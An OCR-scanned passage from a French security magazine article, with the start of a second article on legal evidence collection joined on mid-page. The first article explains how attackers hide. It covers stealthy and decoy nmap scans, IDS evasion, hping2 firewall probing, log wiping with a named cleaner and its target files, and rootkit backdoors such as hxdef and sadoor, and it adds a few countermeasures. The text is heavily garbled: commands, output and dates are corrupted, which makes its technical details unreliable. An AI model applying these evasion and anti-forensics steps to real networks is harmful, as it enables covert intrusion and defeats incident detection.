pertinentes relatives 4 la cible, mais aussi son contexte.

Les techniques d'info gathering s'intéressent a 'identification
des ¢léments pouvant se trouver en cible, mais ¢galement a
ceux qui peuvent exister sur le chemin. Si certaines
informations peuvent étre collectées indirectement, une bonne
partie de la phase de reconnaissance necessite d'interagir avec
la cible. Une collecte indirecte peut étre par exemple réalisée
par l'exploitation des traces laissces dans les headers SMTP,
mais aussi dans les trames echangées que |'attaquant aura pu
capturer par un accés au réseau lui permettant de sniffer. La
collecte indirecte est par nature invisible ou difficilement
repérable (une interface réseau en mode promiscous ou
nouvelle iop dans le routage peut étre "vue" si l'attaquant n'a
pas pris de précautions). Dans la suite, nous ne traitons que
de découverte directe qui fait intervenir le systéme cible (voir
aussi l'article Les tests d'intrusion de F. Raynal et R. Detoisien.
MISC 0).

DECOUVRIR SANS SE FAIRE DECOUVRIR

Le scan de ports est bien siir l'une des méthodes les plus
courantes pour découvrir et cartographier les services a I'ecoute.
Cette méthode permet, aprés traitement, de lister les faiblesses
et les vulnérabilités exploitables pour comprometire le systeme
distant. Ce sujet étant régulierement rabaché, nous ne nous y
attarderons pas en ce qui concerne 'utilisation méme des outils.
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llustration 1 : Typologie des technigues de scan

La recherche d'information par cette méthode est assez
"bruyante" si aucune précaution n'est prise. Intéressons nous
a la maniére de la rendre discréte !

Les techniques de scan sont a classer en ¢cinq grandes catégories
bien spécifiques, exposées en Ilustration 1.

Chacune de ces techniques permet de déterminer si les ports
d'une cible sont ouverts, fermés, mais aussi filtrés (cf. Remote
OS detection via TCP/IP Stack FingerPrinting, fyodor). Savoir
quelle est la technique correcte a utiliser dans un environnement
donné dépend de la topologie du réseau, de la présence d'IDS
susceptibles d'identifier I'action, et des fonctions de logging
configurées sur la cible.

S1 les techniques d'open scan génerent des quantités de logs
importantes et donc facilement repérables, la qualité des
résultats produits (peu de déchets) est en revanche intéressante
pour l'attaquant.

L'utilisation de stealth scan, des options decoys, etc. aident a
leurrer les IDS dans une certaine mesure. [ls peuvent en outre
renseigner sur les firewalls se trouvant sur la route. Cependant,
cette technique n'est pas forcément la plus intéressante pour
l'attaquant. En effet, I'implémentation du scan permettant
d'identifier les ports ouverts induit le risque de perdre des
paquets dans les réseaux traverses.

Cela introduit des falses positives dans la phase de
reconnaissance. C'est souvent le cas lorsqu'on travaille avec
les flags des paquets ou les prédictions de séquences.

Le souci principal de |'attaquant pendant la phase de
reconnaissance est de réduire les possibilités de détection des
NIDS. L'article Concepts et contournement des IDS du MISC
n°3 ayant déja présenté les différentes techniques permettant
de contourner une NIDS, nous résumons ici les possibilités de
contournement.

5 possibilités de contournement

1 Aveugler les systémes de capture et d'analyse des NIDS
en floodant : Celte technique consiste a surcharger le NIDS
pour qu'il ne puisse pas analyser la totalité du flux capturé, et
par conséquent. qu'il ne détecte pas I'attaque principale. Une
possibilité est de lancer le méme scan rapide & partir de plusieurs
sources synchronisées (attention aux denis de service dus 4
I'engorgement de la bande passante du réseau !), en employant
par exemple une ligne de commande :
nmap victimel.pigeon-sa.com victime?.pigeon-sa.com -T Insane -

pl -65535 -sT --max_rtt timeout 15088 --max_parallelism 250

Si cette ligne de commande lancée de fagon similaire sur
plusieurs sources vers plusieurs hétes risque de provoquer une
saturation importante du réseau (port scan en mode connecté
pour minimiser les erreurs et fortement parallélisé), elle permet
tout de méme d'obtenir les informations escomptées en un
minimum de temps :

bigorre:~#nmap ossau -T Insane -p 1-65535 -sT --max_rtt_timeout 15000 --
max_parallelism 250

Starting nmap 3.27 ( www.insecure.org/nmap/ ) at 2083-87-18 16:46 CEST
Interasting ports on canigou (2xx,x7.1x5.x2x):
(The 65524 ports scanned but not shown below are in state: closed)

Port State  Serwice
2/tecp open  smip
Ba/tcp open http
389/tcp  open Tdap
443/tcp  open https
3128/tep  open squid-http
33\6/tep  open mysql

Nmap run completed --

INustration 2 : Portscan frés agressif

1 IP address (1 host up) scanned in 9 seconds

Bien qu'elle soit correctement dimensionnée et configurée, la
sonde réseau se trouvant dans le contexte (ici une NIDS snort?2).
n'y a vu que du feu et a mal qualifié le flux analysé. Non
sculement elle s'est trompée de cible (en destination on a Orhy
au lieu de Canigou). mais en plus n'a pas remonté la bonne
alerte (DDOS mstream client to handler)... En résumé, la sonde
a bien vu un événement réel se produire mais a été suffisamment
aveuglée pour ne pas pouvoir rendre compte correctement
(Illustration 3)

Un exploitant sécurité basique comme on en trouve dans 2 peu
pres tous les grands services informatiques des entreprises n'ira
pas chercher plus loin que cette information.Et ¢a, l'attaquant
le sait !
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MISE EN PRATIQUE

Dt Port Bt Serui

Iustration 3 : Identification de I'activité anormale coté sonde

2 Submerger la surveillance sous les faux-positifs : Vous
vous souvenez peut-étre du film War Games 7 A un moment,
I'un des vigiles commence & s'agiter en voyant des traces de
lanceurs a téte nucléaire sur son moniteur de contrdle : "hey!
j'ai une attaque a 3h 1... une autre a 10h ! h¢, y'en a partout !!".
Ces traces, totalement inconsistantes, ont captivé I'attention des
autorités, qui du coup n'ont pas vu que c'était le systéme central
qui s'était fait pirater...

Le principe est bel et bien de faire diversion en provoquant de
nombreuses remontées d'alertes. En paralléle, une attaque reelle
contre le réseau est lancée, et pendant que les chargés de
surveillance sont occupés 4 analyser le flot d'alertes, ils ne se
rendront pas compte a temps de la réalité de I'attaque. Nous
pouvons utiliser l'option decoy de nmap pour générer des scans
multiples.

Dans cet exemple, nous utilisons plusieurs leurres. existants ou
non, pour forger les IP sources des trames de scan. Ceci a

cagire:~#nmap -

Orhune,iraty,orhy,0ssau,anie,bigorre ME,neouvielle,vignemale, fourca
t,sailfort -p 1-65535 -T Sneaky -p@ canigou

Starting nmap 3,27 ( waw.insecure,org/nmap/ ) at 20883-87-10 16:46
CEST

Interesting ports on canigou (2xx,x7,1x5.x2x):

{The 65524 ports scanned but not shown below are in state:
filterad)

Port State Service
25/tcp filtered smtp
Ba/tep open http
389/tep  filtered Tdap
443/tcp  open https
3128/tco  filtered squid-http
3306/tcp  filtered mysql

Nmap run completed -- 1 IP address (1 host up) scanned in 9 seconds

lustration 4 : Portscan a source multiple

l'avantage de nous permettre de passer plus ou moins inapercu
c6té IDS. et surtout de littéralement submerger le /ogger du
systeme cible : les trames initiées par ME arrivent en septicme
position aprés six scans massifs (65535 tentatives espacees
systématiquement de 15s pour chacune des sources ...) et sont
encore suivies par deux scans massifs. Un systeme de détection
de portscan pourrait bien étre configuré pour placer une regle
interdisant l'accés et nous faire perdre 'acces. Qu'a cela ne
tienne : placons le hop que nous pouvons identifier comme
default gateway précédente comme source aussi du scan (dans
la liste des decoy) !

Aprés avoir identifié I'origine de son blocage, 'empécheur de
scanner en rond aura certainement reconfiguré son détecteur. ..
Aussi, nous pourrons désormais continuer a oeuvrer assez
tranquillement dans nos reconnaissances.

3 Fragmenter le trafic IP : En émettant des paquets IP
fragmentés (qui seront réassemblés par la pile IP de destination),
les NIDS sont aussi obligés de les réassembler pour analyse.
Utilisant par exemple fragroute, cette technique, vient le plus
souvent en complément des précédentes : l'objet est d'aveugler
la sonde pour masquer le passage du trafic réellement a risque.

4 Utiliser le temps : Un scan peut étre realis¢ lentement par
les options -T Paranoid (Smn entre chaque scan) ou -7 Sneaky
(15s entre chaque scan). Sachant qu'une NIDS maintient un €tat
de l'information (TCP, IP fragments, TCP scan ...) pendant une
période de temps définie (en fonction de la capacité mémoire,
de la configuration, etc.), elles ne détectent souvent rien si deux
scans consécutifs sont trop espaces.

Par ailleurs, si l'attaquant répartit un vaste scan (plusieurs hosts
et plusieurs ports scannés ) en le "scriptant” dans le temps (sur
plusieurs semaines par exemple) et en le répartissant sur plusieurs
sources, 1l sera alors trés difficilement repérable. C'est pourquot
il est primordial de ne pas négliger les scans (qui sont cependant
légaux en France pour le moment, ce qui n'est pas le cas dans
tous les pays) et organiser leur traitement au sein du processus
de surveillance.

5 Simuler un avertement : A partir d'un scan en mode
connecté permettant de connaitre la distance qui sépare la cible
de l'attaquant (par exemple a tatons, mais aussi avec les tt1 des
trames ACK), une possibilité de leurre est d'envoyer un RST
dont le tt1 est la distance décrémentée de 1 : la trame RST ne
parviendra jamais a la cible, laissant ainsi la connexion ouverte,
tout en signalant un avortement de session TCP a une éventuelle
sonde placée sur le chemin.

En plus de lister les services en écoute, des outils comme nmap
ou cron-os permettent également d'identifier les systemes
d'exploitation cibles par fingerprinting (cf. l'article OS
fingerprinting, Misc n°7), tout en etant aussi furtifs. & condition
bien siir de prendre les précautions nécessaires ...
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Comprendre la topologie du réseau
et le routage

Ces listes de services connus (ouverts ou filtrés), l'attaquant se
préoccupe ensuite de découvrir ce qu'il y a sur son chemin. Pour
comprendre la topologie du réseau et le routage, autant chercher
simplement 4 accéder comme un utilisateur quelconque ! La
signalétique du réseau se chargera toute seule de le renseigner
comme il faut.

Pour comprendre un peu ce que peut obtenir un attaquant,
procedons comme il le ferait en utilisant par exemple hping2.
L'avantage d'hping2 est qu'il permet de forger assez facilement
les paquets que nous voulons. Par exemple, la commande :

hping? --traceroute -t 1 --udp --baseport 53 -keep -V -p 53 canigou
permet de faire un fraceroute en commencant avec un tt1=1 en
utilisant des paquets de type UDP depuis le port source 53 vers
le port destination 53 (DNS) de la machine victime. Le flag
-V permet d'avoir un résultat verbeux.

Ce type de traceroute, comme tout autre (cf. article de C.
Blancher dans ce méme numeéro), nous renseigne sur les
¢léments traverseés par le paquet. Si l'un de ces équipements est
un firewarl, il y a de fortes chances que notre paquet soit *loggé”".
Cette information pourra étre agglomérée et consolidée par
ailleurs. Aussi, pour rester camouflé, l'attaquant préférera
certainement utiliser une machine source de rebond a partir de
laquelle 1l déroulera cette phase de reconnaissance.

En jouant sur les défauts de fragmentations et les flags, il est
possible d'identifier discrétement le type de configuration d'un
firewall (filtrage de paquets ou stafeful) en procédant par
comparaison entre au moins deux ports, I'un ouvert et l'autre
filtré, d'une machine se trouvant derriére.

Port State Service
25/tep filtered smtp
86/tcp open http
389/tcp  open 1dap
4437tep  open https
3128/tcp  open squid-http
33#6/tcp  apen mysql

Prenons le résultat de I'exemple de scan vu plus haut de la
machine canigou scannée a partir de la machine cagire ;

Le port smtp attire l'oeil. Testons-le, au risque de générer une
ligne de log sur le filtre qui doit se trouver dans le coin : il peut
y avoir un emetteur SMTP qui initialise sa connexion sortante
depuis ce port ou, poutquoi pas, un serveur sntp ? Cependant,
comme nous sommes abonnés a Phrack, en utilisant la trouvaille
de Ed3f publiée dans le n®60, il se pourrait bien que nous

puissions agir en €tant correctement camouflés dans le bruit de
fond normal et indétectables par des outils qui ne se sont pas
encore prévus pour nous voir de la sorte ... Testons :

cagire:~#telnet canigou 25
telnet: Unabie to connect to remote host: Connmection refused

Voila qui est clair : le port est filtré par la machine elle-méme
ou par un équipement place en insers. Vérifions maintenant
qui, de la machine ou du filtre, nous envoie un RST :

cagire:~#hping -S -c 1 -p 25 -b canigou
HPING canigou (ethl 19x,xBx.x2x,x3x): § set, 40 headers + § data byies

Ten=44 1p=2xx.x7.1x5.x2x flags=RA seq=l tt1=32 1d=48532 win=512
rtt=137.1 ms

Puisque nous avons une réponse, nous savons qu'un filtre de
paquets est en insert. Nous pouvons nous douter aussi qu'il y a
quelque part un NIDS ...

Si nous n'avions pas eu de réponse, nous aurions pu soupgonner
que notre paquet arrivait non filtré jusqu'a la cible qui 'aurait
alors "droppe". En comparant les TTL du RST et du SYN, nous
pouvons déterminer l'existence de 1'équipement de filtrage si
nous constatons une différence.

En remarque complémentaire de l'observation de Ed3f a propos
de la technmique de comparaison des TTL (cf. article 0x0c,
Phrack60), qu'il dit caduque (et il a raison), dés lors qu'il y'a un
filtre en Aridging mode, en couplant la technique précédente (a
base de telnet et de hping2) et celle-ci (basée tt1). 1l est tout
de méme possible d'identifier la présence du bridge filtrant...

L'ennui pour l'instant est que nous avons laissé des traces a
chaque fois parce que nos paquets étaient valides, Pour ce que
nous en faisons, ils n'ont pas besoin d'étre corrects ! Nous avons
juste besoin que leur impact sur la cible nous génére les réponses
dont nous avons besoin. Forgeons-les donc pour qu'ils soient
invalides et rejetés par les piles IP cibles, et par conséquent,
non “loggés™ : la plupart des systémes en production ne
“logguent” pas les paquets martians (cette fonction n'est pas
implantée sur tous les systemes). L'affaire est maintenant dans
le sac : nous avons notre topologie en toute discrétion...

Ocuvrant méthodiquement, 'attaquant cherchera aussi par cette
voie a reconnaitre, par exemple, 'existence d'honeypots.

Une fois la topologie connue. l'attaquant est capable de
determiner également le niveau de protection auquel il a affaire
(brouillon, non suivi, etc.ou au contraire particuliérement a
jour). Aussi, il ne reste plus a l'attaquant qu'a déterminer le
meilleur moyen pour entrer : exploiter une vulnérabilité (s'il y
en a) sur l'un des services qu'il aura identifié ou faire le tour et
"s'infiltrer" (cf. I'histoire "du comptable et de la souris blanche"
de l'article Organisation systemigue du MISC n°8 1) : la meilleur
etactique n'est pas forcément celle ou tout se fait 4 distance ...
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MISE EN PRATIQUE

QUELQUES CONTRE-MESURES
PAR RAPPORT A TOUT CE VOYEURISME !

Un bon moyen de repérer des scans est d'utiliser I'excellent
“logger” scanlfogd (http://www.openwall.com/scanlogd/) de
Solar Designer.

Cet outil a mitialement été codé pour illustrer la variété d'attaques
qu'un contributeur d'IDS doit prendre en compte (cf. article
Designing and Attacking Port Scan Detection Tools pour Phrack
n°53).

scanlogd détecte les interactions sur les ports et écrit une ligne
par portscan via les mécanismes sys1og. Ainsi, si une source
envoie plusieurs paquets pendant une certaine durée, I'événement
sera “logeé” de la fagon suivante ;

canigous~#tail -2 /var/log/syslog

Jul 10 16:53:20 srcleanigou scanload: 19x.x6x.x2x.x3x:80 to
2xx. A7, 1x5.%2x ports 35208, 158, 54913, 33411, 23754, 21841, ...,
FsrPallxy, TOS @@, TTL 48 @16:53:20

Jul 16 16:54:33 srcBeanigou scanlogd: 19x.x6x.x2%.x3x:53 to
2xx.xT.1x5.x2x ports 45671, 830, 32680, 52716, 6@037, L4757, ...,
fSrpauxy, TOS @@, TTL 55 @16:54:33

Compléte avec de bons outils d'analyse et de corrélation dans
une plate-forme de surveillance intégrant tous les élements
necessaires a la centralisation, la normalisation, la consolidation
et le traitement, 1l est déja possible de correctement surveiller
la plupart des approches.

La surveillance humaine chargée de l'analyse de logs pourra
constater l'activité, a condition d'étre outillée et surtout
compétente : encore trop de surveillants n'ont pas le niveau
requis ni méme la culture adéquate (trop souvent ce poste est
plus que largement sous-estimé).

PHASE

"GOT R3WT I..."
EFFACER ET EVITER
LES EMPREINTES

Dans cette phase, on considere que l'attaquant a réussi a acquerir
tous les droits sur la machine sans nous attarder sur comment
il a fait : les traces seront effacées. Ceci est important pour lui,
qu'il s'agisse juste d'une machine de rebond ou de la cible de
I'attaque méme : 1l ne faut pas qu'l soit possible de remonter
jusqu'a lui. Du moins, c'est ce qu'il espere.

Aussi, dans cette partie, nous detaillons les traces a effacer,
comment les effacer, comment revenir et agir désormais sans
en laisser.

EFFACER SES EMPREINTES

Comme tout délinquant, l'attaquant sensé commence par nettoyer
les lieux du forfait. Aussi, 1l doit savoir sur quoi il a agi ! Un
parcours dans l'arborescence en tant que root, administrateur
ou utilisateur équivalent l'informe sur la configuration de la
machine. Cependant, en explorant, il genere encore des traces,
par exemple :

M les attaquants débutant, oublient souvent de nettoyer le
/root/.bash_history (ou équivalent selon le shell) :

M avec les MACTime des fichiers auxquels l'attaquant
accéde : listez vos fichiers d'abord avec un 1s -1 puis avec
un 1s -1c par exemple pour visualiser le crime ou date de
derniére modification, ensuite comparez les dates ...

M des traces dans le swap que des programmes qu'il lance
peut générer :

B [es fichiers qu'il peut effacer : seuls les inodes sont

"déconnectes”. ..

Que de traces boueuses sur le beau carrelage blanc ! Pour
quelqu'un qui veut rester discret, il y a du travail !

Par conséquent, l'attaquant n'a pas d'autre moyen que d'étre
extrémement précautionneux dans la préparation de la
surface : 1l ne sait pas @ priori ce qu'il trouvera sur la machine.
Aussi, un rapide état des lieux lui permet de :

M repérer les outils de sécurite locaux (configuration
particuliére du kernel, un systeme de controle d'intégrite,
ete.) ;

M identifier la destination des logs (locaux ou distants ?) |

B vérifier la fréquence d'acces de 'administrateur (a partir
des logs ) ainsi que les opérations qu'il réalise lorsqu'il vient
(avec le .bash_history par exemple) ;

H etc.

Ce petit bilan fixe assez rapidement l'attaquant sur le temps dont
il dispose pour agir, sur les contraintes avec lesquelles il doit
composer, tout comme sur la charge de travail de camouflage
qui l'attend. Ces trois conditions le guident dans la maniere
d'exploiter la machine.

Aussi, pour commencer, el également pour gagner un peu de
temps, I'attaquant nettoie les logs (s'ils sont locaux !), histoire
de ne pas se faire repérer tout de suite. Pour cela. il peut utiliser
par exemple un petit programme qui fait ¢a trés bien : Mr-Lyndf.
Actuellement en version 1.2 (mars 2003), ce log cleaner pour
Linux nettoie les logs contenu dans le /var/log et masque un
utilisateur en modifiant les fichiers wtmp (ce fichier trace les
logins et les logouts du systéme) et utmp (ce fichier permet de
savoir qui est en cours d'acces au systéme).
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Observons un peu comment il opére. Dans sa version 1.2,
Mr-Lynd@ affecte les fichiers :

fvar/log/wimp
[vardrun/utmp
/var/log/lastlog
/var/log/messages
/var/log/secure
fvar/Toa/mailiog
fvar/log/xferlog
fvar/Tog/profipd.log

Les premiéres traces dissimulées, il n'y a (presque) plus de
raisons particulicres pour que les soupcons soient éveillés. Aussi,
le délinquant dispose d'un peu de temps pour préparer la suite
de son forfait, notamment une partie de l'aspect logistique
concernant le rapatriement des éléments de roetkit qu'il s'est
assemblé ou qu'il a récupéré en kit tout prét.

CONSOLIDER LA POSITION

Désormais, l'attaquant souhaite revenir et agir sans laisser de
traces, et sans se faire remarquer non plus. Pour cela, il emploie
un appareillage plus ou moins complet : un rootkiz.

Un rootkit est un ensemble d'outils que 'attaquant télécharge
sur le systéme victime aprés avoir acquis un premier aceés. Cet
ensemble est généralement constitué d'un sniffer réseau, de log
cleaners tels que celui précédemment décrit, de versions
corrompues des utilitaires systémes courants (par exemple des
remplagants de ps, netstat, ifconfig, killall, etc.), et, pour
les plus évolués, de modules du noyaux. Bien évidemment, tout
cela met a mal l'intégrité du systéme cible. De plus, une fois un
tel outil présent sur I'OS, souvenez-vous que vous ne pouvez
plus faire confiance a votre propre systéme, et en particulier
aux programmes qui testent son intégrité : il y a des risques
qu'ils aient été trafiqués !

Revenir sur le systeme

Le principal objectif d'un rootkit est de laisser un attaquant
revenir sur la machine compromise et y accéder sans se faire
deétecter. Pour cela, si jusqu'a il y a peu, les rootkits intégraient
une backdoor sous la forme d'un nouveau démon facile a
détecter (un portscan de la machine suffisait a découvrir un
nouveau port en écoute), la donne change. En effet, il devient
fréquent de trouver :

M des versions “trojances” de services standards : named pour
un acces via des covert chanmels en DNS, httpd via un trojan
"proxifiant" le démon normal, etc. ;

B pas de nouveaux services du tout, mais un mode de
fonctionnement anormal de la pile IP, dorénavant capable

de réagir a des comportements prédéterminés du trafic réseau
(par exemple le backdoor intégré au rootkit hxdef
fonctionnant sur les plates-formes Windows 2000).

Dans ce cas, c'est le kernel qui est affecté via un module
insere qui intercepte et détourne I'implémentation TP normale
avant de lui réinjecter son flux ;

B ou de fagon similaire, sans service en écoute. l'interface
réseau (pas nécessairement passée en promiscous mode !)
récupere le trafic pour permetire au code 'analysant en raw
IP, de réagir sans se faire pour autant identifier (par exemple
CdB@r ou SAdoor s'appuient sur la Tibpcap).

Dans ces deux derniers cas, le trafic étant destiné 4 une autre
machine, les soupc¢ons se porteront naturellement ailleurs !

Nous pouvons en outre remarquer que les 2 derniers outils
permettent, dans la plupart des cas, de "bypasser" un éventuel
firewall (en entrée comme en sortie) mstallé sur la cible.

Sadoor est un outil codé pour administrer a distance (si!si!) des
équipements sensibles, comme par exemple des NIDS, dont la
carte réseau est configurée en steaith mode. Sadoor écoute en
attente de certains types de paquets (configurables, bien siir),
sur une interface définie.

Lorsque les premiers "bons paquets" arrivent (les clefs), le
paquet de commande est accepté. 11 contient une commande
shell que sadoor n'a plus qu'a exécuter, ou des informations
décrivant la maniere d'établir une connexion. Ce paquet est
chiffre par du blowfish (clefs symétriques de 448bits partagées
entre clients saador).

Le fichier de configuration reprenant les mémes éléments coté
serveur que cote client, la procédure est relativement transparente
pour l'utilisateur de sadoor (dans le cas présent pour nous, il s'agit
tout de méme d'un attaquant, n'oublions pas ce petit détail !).

Dans l'exemple preésenté en illustration 6, le scénario est assez
sophistiqué et met en oeuvre plusieurs techniques afin d'étre le
plus furtif possible, tant dans le déclenchement de la commande
par saador, que dans l'é¢tablissement d'un canal de retour
permettant a I'attaquant d'interagir avec le serveur comme s'il
se trouvait en local.

L'attaquant que nous avions laissé tout a I'heure avec juste les
traces effacées peut dorénavant revenir a loisir sur cette machine
pour achever de se masquer.

Disparaitre

Une autre caractéristique des rootkits est de remplacer, “‘patcher”
ou “hooker™ le fonctionnement des binaires systémes de maniére
a rendre indétectable, non seulement la présence de l'intrus,
mais egalement ses actions passées comme celles qu'il réalise.

Que ce soit pour Unix ou pour Windows, la grande mode est &
I'interception d'appels entre modules, avec une forte préférence
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Mustration 6 : Trafic camoufié en canal bidirectionnel sur base de sadoor

pour les implantations bipolaires userspace / kernelspace, et
avec entre autres jeux, les escalades de privileges pour passer
de 'un a 'autre.

De ce fait, les rootkits se scindent en deux grandes familles :

B les ensembles d'outils préts a "servir" : ils integrent les
fichiers destinés a étre copiés a la place des versions
"légales"” : il s'agit essentiellement de l'ancienne génération
de rootkits comme par exemple ETkit, Tdrn ou LRK ;

M les systémes "patcheurs” : il s'agit plus d'une collection
modulaire d'outils divers (une sorte de distrib), dont on prend
ce qu'on veut pour se faire son propre rootkit en fonction de
la cible, du contexte, etc. On retrouve le plus souvent
également les outils de type loadable kernel modules ou LKM.

L'objectif des LKM est d'interagir avec le noyau pour intervenir
directement en kerne! space. Dans cet environnement
d'exécution, le code a accés aux différents modes d'exécution
du processeur, ce qui lui permet notamment de “swaper” de
mode protégé en mode réel, et inversement pour accéder a
l'espace adressé physiquement.

Ainsi, par exemple, I'idée centrale de hxdef dans sa version
0.73, est d'utiliser des fonctions API particulieres comme
WriteProcess Memory ou CreateRemote Thread pour creéer un
nouveau thread pour les process executes.

Ce thread sert a ré-écrire des fonctions particuliéres a certains
modules systéme, principalement kerne132,d11 et advapi.dll,
et a injecter du code pour controler les résultats des API et les

modifier dans certains cas précis. Pour rester discret, hxdef est
masqué aux autres processus et APL

L'attaquant utilisant hxdef peut masquer des fichiers, des process,
des services (au sens NT), des connexions et des clefs de registre,
au moyen d'un fichier .ini. Le programme permet également
d'installer des backdoors, en les langant comme service, tout en
les maintenant masqueés également.

Dans sa version 0,73, hxdef sait correctement détourner les
appels API suivants, entres autres :
Kernel32,Readfile
Kernel32,CreateProcessh
Kerne132.CreatePracessInternall
Ntd11.NtQuerySystemInformation
Htd11.NeQueryDirectoryFile
Ntd11.NtVdmContrel
Ntd11. KtResumeThread
Ntd11. Nt Enumeratekey
Ntd11, NtReadVirtualMemory
Ntd11, NELdrLoadDl]
Ntd11 . NtldrInitializeThunk
WS2 32, recy
Advapi32. EnumServiceGrouph
Advapi32, EnumServicesStatush
AdvapidZ, ReaEnumKeyW
Advapi3Z, RegEnumkeyA
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Via le détournement des fonctions WinSock *recv, hxdef
détecte l'envoi de paquets spécialement construits sur un port
ouvert par un autre processus. Il agit ensuite comme backdoor
ou redirecteur TCP, sans qu'aucun port suspect ne soit ouvert.

Assez peu différent. le kit fu agit par le chargement d'un
driver. Celui-ci a toute la consistance d'un module par rapport
au kernel ! Ce kit est en fait composé de deux programmes
qui fonctionnent comme un seul : fu.exe etmsdirectx.sys
(vous le reconnaissez celui-ci ? Il pourrait s'agir de MS
DirectX .., mais non, en fait, c'est juste pour mieux se
confondre avec le paysage !). fu.exe transmet des paramétres
comme IOCTL le ferait au driver msdirectx.sys. De cette
maniere, une fois le driver chargé (par exemple avec un
appel SystemLoadAndCallImage), il n'y a plus besoin de
privilége particulier pour exploiter fu.exe : mscdex.sys
en tant que module inséré dans le kernel sert de simple
vecteur pour fu,exe. Le driver ne sera pas déchargé avant
un reboot de la machine.

Confre-mesures

De fait. 'il est assez facile de détecter des modifications des
systemes de fichiers, par exemple en utilisant des systémes
de controle d'intégrite. il devient en revanche beaucoup plus
delicat d'explorer l'intégralité de la mémoire vive a la
recherche de processus paichés a la volée, ou de détecter
des modules noyau furtifs.

Battant un peu en bréche les techniques classiques de forensic
(mais il ne faut pas sous-estimer ces professionnels ;), il
reste quand méme la surveillance du comportement du trafic
réseau pour controler les anomalies et repérer les éveénements
et pics suspects a grand renfort de corrélation.

TOCCAIA ET FUGUE

Les raisons de se dissimuler sont aussi nombreuses que les
motivations des attaques. En mettant en pratique ces
techniques, les attaquants caractérisent |'intentionnalité de
leur action,

Passible de poursuites, l'attaquant consciencieux sait
néanmoins qu'il peut y avoir des chances (des risques ?)
pour qu'il se fasse repérer, malgré ses précautions. Voila
pourquot le Filochard des temps modernes a des raisons
justifi¢es d'avoir des tendances paranoiaques, en plus d'autres
¢garements, qui peuvent le pousser a s'immiscer dans la
"vie" d'autrui sans y avoir té préalablement autorise.

Cependant, s'il est un tant soit peu expérimenté, il aura en
plus I'humilité d'envisager la possibilité qu'il puisse y avoir
plus fort que lui. Et plutdt que de jouer les intrus, il peut se
rendre utile en cherchant & comprendre et a expliquer ce
qu'il aura compris, voire trouvé : nul n'est a I'abri d'avoir un
jour une idée géniale !

Yannick Fourastier /Consultant senior
yfourastier@miscmag.com

: ( Pour aller plus loin

B Explostation des vulns organisationnelles du SI
Organisaticns svstemigues, MISC n°8

B Papier sur l'analyse distante - analyse de codes et techmques -
http://www.rootz.org/yris~/papers_pres/analyse distante.pdf
B [ingerprinting | http:/Wwww.insecure.org/nmap/nmap-
fingerprinting-article-fr.html et article OS fingerprinting, Misc n™7
B DS evasion : article Concepts ef contournement des 1DS du MISC
n“3

B Firewall spotting : Phrack n®60-0x0¢ Firewall spotting and
networks analisys with a broken CRC par Ed3t

B Scanlegd : http:/www.openwall.com/scanlogd

B PortScan detection tool : article Designing and Antacking Port
Scan Detection Tools pour Phrack n®33

B Sadoor - http://cmn.listprojects.darklab.org

B Mr-Lynd0 : http://packetstormsecurity.nl/
UNIX/penetration/rootkits/Mr-LyndOv1.2.c
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Technigues d'attague :
I'art du cyber-camoufiage

aue FAIRE

| IN‘T RUSIDN

Qu'est-ce qu'un CERT&?

Collecte des traces post-mortem

des preuves informatiques
attention aux conséguences !

N'est pas Sherlock Holmes qui veut...

Vous suspectez ou constatez une intrusion sur « votre » réseau, un de vos
' collaborateurs semble utiliser la messagerie pour des objectifs personnels : la
tentation est alors grande d’utiliser vos connaissances techniques et les outils

d ‘administration réseau pour tirer tout cela au clair. Mais cette démarche, apparemment
anodine, rapide et peu contraignante peut s’avérer dangereme... non seulement les
« preuves » recueillies peuvent étre irrecevables lors d’un procés mais, pire encore, ¢ est
votre responsabtlrte pénale et celle de votre entreprise ou de votre administration qui peut

se voir engagee.

Cet article porte donc sur les conséquences légales possibles
d’un mauvais recueil de la preuve. La destruction ou
corruption partielle involontaire des éléments recueillis n’est
pas abordée puisque dépendante de !'environnement
d’exploitation et des outils de collecte.

Quel que soit I"acte de malveillance suspecte, de nombreuses
actions peuvent étre menées, mais il faut les entreprendre dans
le respect du droit. Durant I'enquéte, la police sollicitera votre
aide et on peut méme dire que la collaboration des techniciens
a I'investigation de police est primordiale pour un
aboutissement réussi. D’une part, I'administrateur réseau
connait son architecture, la localisation et le contenu des
serveurs. Il peut orienter I'investigation. identifier le support
4 expertiser. D’autre part, sa connaissance des spécificités des
politiques de sécurité permettra d’extraire des informations
par ailleurs conservées : modes opératoires (et négligences
pratiquées), journaux de connexion, possibilite de restauration
de données effacées, etc.

Nous présenterons tout d’abord la saisine d'un service
judiciaire et la description de situations typiques. Puis nous
préciserons quelques différences dans le cas d’une affaire
au civil et dans le cas d’un appel en garantie auprés de sa
compagnie d’assurances.

MisC 9

QUI CONTACTER ?

Lorsqu’un probléme survient, il est important de diagnostiquer au
plus tot s’il s’agit d’un probléeme accidentel ou malveillant : les
mesures de restauration peuvent en étre légérement modifices
mais dans le second cas, des mesures conservatoires et "action
de dépot de plainte doivent étre engagées rapidement. Les services
de police et de gendarmerie disposent d'unités specialisces. Pour
la gendarmerie, il existe des enquéteurs spécialises (NTECTH) en
région et ¢’est PIRCGN (Institut de Recherche Criminelle de la
Gendarmerie Nationale) qui intervient aussi pour la collecte des
éléments, et surtout pour Iexpertise des équipements. Au niveau
police, 'OCLCTIC (Office Centrale de Lutte contre la Criminalité
li¢e aux Technologies de 1'Information et de la Communication)
a compétence nationale. 11 existe aussi des enquéteurs spécialises
dans chaque service régional de police judiciaire et plusieurs
laboratoires ont chacun des domaines de spécialité. Signalons la
spécificité de Paris et de sa couronne, pour lesquels la BEFTI
(Brigade d’Enquéte sur les Fraudes aux Technologies de
I'Information et de la Communication) se charge des investigations.
11 est aussi légalement possible de saisir le procureur de la
République qui, en fonction des éléments fournis, transmettra alors
au service de gendarmerie ou de police idoine. Pour gagner du
temps, il est donc préférable de saisir un service judiciaire qui




pourra, lui aussi, retransmettre a un service homologue en fonction
de la compétence territoriale ou de I'environnement. Enfin,
mentionnons deux autres services en charge d’enquétes de sécurité
lorsque les intéréts fondamentaux de la Nation peuvent étre en
jeux : la DST (Direction de la Surveillance du Territoire) et la
DPSD (Direction de la Protection et de la Sécurité de la Défense).
La premiére dépend du Ministére de I'Intéricur, la seconde dépend
du Ministere de la Défense et gére, entre autres, les entreprises
siviles travaillant au profit de la Défense. Les coordonnées de
es organismes et la définition de leurs missions sont accessibles
sur les webs gouvernementaux. Pour étre plus exhaustif, des
1nités specialisées Internet existent dans d’autres services :
louane, répression des fraudes, etc.

’récisons que le dép6t de plainte n’est pas immédiatement
